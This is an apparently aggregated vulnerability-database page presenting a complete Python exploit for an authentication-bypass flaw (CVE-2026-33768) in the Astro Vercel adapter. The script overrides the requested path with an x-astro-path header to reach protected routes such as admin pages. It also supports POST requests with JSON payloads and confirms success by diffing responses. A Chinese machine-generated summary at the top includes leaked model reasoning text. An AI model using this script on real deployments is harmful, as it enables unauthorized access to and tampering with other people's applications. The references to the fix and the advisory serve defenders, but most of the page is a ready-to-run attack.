astrojs/vercel < = 10.0.0 - Unauthenticated x-astro-path Header Path Override
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,并且不需要特定的开头。首先,我得仔细阅读用户提供的文章内容。 文章看起来是一个关于安全漏洞的报告,涉及到Astro Vercel适配器的一个未认证的路径覆盖漏洞。漏洞的CVE编号是CVE-2026-33768,影响版本是@astrojs/vercel <=10.0.0,已经修复在10.0.2版本中。文章还提到了一个Python脚本作为利用工具,展示了如何通过设置特定的HTTP头来绕过保护机制。 接下来,我需要提取关键信息:漏洞名称、影响范围、CVSS评分、利用方法、修复版本以及工具功能。然后将这些信息浓缩到100字以内,确保简洁明了。 可能会遇到的问题是如何在有限的字数内涵盖所有重要点。因此,我需要选择最重要的部分:漏洞的存在、影响版本、CVSS评分、利用方式和修复措施。同时,提到工具的功能也是必要的。 最后,确保语言通顺,没有语法错误,并且符合用户的要求。 </think> 此文章描述了@astrojs/vercel <= 10.0.0中的未认证x-astro-path头路径覆盖漏洞(CVE-2026-33768),允许攻击者通过设置特定头或查询参数绕过保护机制访问受限路径。该漏洞影响Vercel服务器端渲染应用,默认评分7.5(高危),已修复于10.0.2版本。文章提供了Python exploit工具,支持多种请求方法和数据格式,并包含重定向检测和响应差异分析功能。 2026-4-3 20:23:39 Author: cxsecurity.com(查看原文) 阅读量:5 收藏

astrojs/vercel <= 10.0.0 - Unauthenticated x-astro-path Header Path Override

#!/usr/bin/env python3 # Exploit Title: @astrojs/vercel <= 10.0.0 - Unauthenticated x-astro-path Header Path Override # CVE: CVE-2026-33768 # Date: 2026-03-25 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://astro.build # Software Link: https://github.com/withastro/astro # Affected: @astrojs/vercel <= 10.0.0 # Tested on: @astrojs/vercel 10.0.0 # Category: WebApps # Platform: Vercel Serverless # Exploit Type: Path Override / Bypass # CVSS: 7.5 (High) # Description: Unauthenticated path override via x-astro-path or x_astro_path header/query parameter in Astro Vercel adapter. # Fixed in: @astrojs/vercel 10.0.2 # Usage: # python3 exploit.py <base_url> <target_path> [original_path] [method] [json_data] # # Examples: # python3 exploit.py https://example.vercel.app /admin/secret # python3 exploit.py https://example.vercel.app /admin/delete /public POST '{"userId":123}' # # Notes: # • Full professional exploit with protection check, response diff analysis, # redirect detection, and support for cookies / custom headers # • Compares direct access vs bypass to prove real success # • Detects if redirected to login or reached protected content import requests import sys import json import difflib from urllib.parse import urljoin def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def get_response(base_url, path, headers=None, cookies=None, method="GET", data=None, allow_redirects=True): full_url = urljoin(base_url.rstrip("/") + "/", path.lstrip("/")) req_headers = {"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-33768-PoC)"} if headers: req_headers.update(headers) try: if method.upper() == "GET": r = requests.get(full_url, headers=req_headers, cookies=cookies, timeout=15, allow_redirects=allow_redirects) else: r = requests.request(method.upper(), full_url, headers=req_headers, cookies=cookies, json=data, timeout=15, allow_redirects=allow_redirects) return r except Exception as e: print(f"Error requesting {path}: {e}") return None def analyze_redirect(response): if response is None: return "No response" if response.is_redirect or (300 <= response.status_code < 400): location = response.headers.get("Location", "Unknown") return f"Redirected to: {location}" return "No redirect" def response_diff(direct_text, bypass_text): if not direct_text or not bypass_text: return "Cannot compare (one response is empty)" diff = difflib.unified_diff( direct_text.splitlines(keepends=True), bypass_text.splitlines(keepends=True), fromfile='Direct Access', tofile='Bypass Access', lineterm='' ) diff_text = ''.join(diff) if diff_text.strip(): print("\n[+] Content Difference Detected (Proof of Bypass):") print(diff_text[:1200]) else: print("\n[+] No major content difference (pages may be similar or identical)") def exploit_astro_vercel(base_url, target_path, original_path="/public", method="GET", data=None, cookies=None, extra_headers=None): print(f"[+] Target URL : {base_url}") print(f"[+] Original Path : {original_path}") print(f"[+] Target Path : {target_path}") print(f"[+] Method : {method}\n") # Step 1: Direct access (to check protection) print("[+] 1. Testing direct access to protected path...") direct_resp = get_response(base_url, target_path, cookies=cookies, method=method, data=data) if direct_resp: print(f" Status: {direct_resp.status_code}") print(f" Redirect: {analyze_redirect(direct_resp)}") direct_text = direct_resp.text else: direct_text = "" # Step 2: Bypass attempt print("\n[+] 2. Attempting path override bypass...") bypass_headers = {"x-astro-path": target_path} if extra_headers: bypass_headers.update(extra_headers) bypass_resp = get_response( base_url, original_path, headers=bypass_headers, cookies=cookies, method=method, data=data ) if bypass_resp: print(f" Bypass Status: {bypass_resp.status_code}") print(f" Redirect: {analyze_redirect(bypass_resp)}") bypass_text = bypass_resp.text else: bypass_text = "" # Step 3: Analysis print("\n" + "="*70) print("ANALYSIS & PROOF") print("="*70) if bypass_resp and bypass_resp.status_code in (200, 201, 204): print("SUCCESS: Bypass returned successful status code!") if "login" in bypass_resp.text.lower() or "auth" in bypass_resp.text.lower(): print("WARNING: Response contains login/auth keywords - may still be blocked") else: print("Strong indication that protected content was reached!") response_diff(direct_text, bypass_text) else: print("Bypass did not return success status.") if bypass_resp: print("\n[+] First 800 characters of bypass response:") print(bypass_resp.text[:800]) if __name__ == "__main__": banner() if len(sys.argv) < 3: print("Usage: python3 exploit.py <base_url> <target_path> [original_path] [method]") print("Example:") print(" python3 exploit.py https://target.vercel.app /admin/dashboard") print(" python3 exploit.py https://target.vercel.app /admin/delete /api/health POST") sys.exit(1) base_url = sys.argv[1] target_path = sys.argv[2] original_path = sys.argv[3] if len(sys.argv) > 3 else "/public" method = sys.argv[4] if len(sys.argv) > 4 else "GET" data = None if len(sys.argv) > 5 and method.upper() != "GET": try: data = json.loads(sys.argv[5]) except: data = {"test": "data"} cookies = None # Add cookies here if needed (dict) extra_headers = None # Add extra headers here if needed (dict) exploit_astro_vercel(base_url, target_path, original_path, method, data, cookies, extra_headers)

References:

https://github.com/withastro/astro/commit/335a204161f5a7293c128db570901d4f8639c6ed

https://github.com/withastro/astro/releases/tag/%40astrojs%2Fvercel%4010.0.2

https://github.com/withastro/astro/pull/15959

https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84




 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026040002
如有侵权请联系:admin#unsafe.sh